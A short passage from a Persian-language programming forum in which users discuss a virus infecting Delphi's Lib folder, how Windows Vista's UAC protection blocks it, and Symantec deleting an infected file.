یکی از جاهایی که خوشحال میشید ویستا درباره نوشتن روی Program Files محدودیت قائل میشه، همین جا ست. در صورتی که ویستا دارید، و UAC روی آن فعال است، ویروس امکان ساخت فایل یا تغییر فایل در پوشه Lib دلفی یا هر برنامه دیگه ایی که در Program Files نصب است را نخواهد داشت.

gbg
سه شنبه 15 دی 1388, 14:36 عصر
سیمانتک هم تشخیص میده و خودش زد این فایل من رو پاک کرد من یه چند ساعتی هاج واج بودم که چرا به دلفی گیر داده، وقتی فایل رو سرچ کردم تا دانلود کنم فهمیدم این فایل ویروسی میشه
بهتره فایل اصلی رو اینجا اتچ کنین تا هرکی خواست بتونه برداره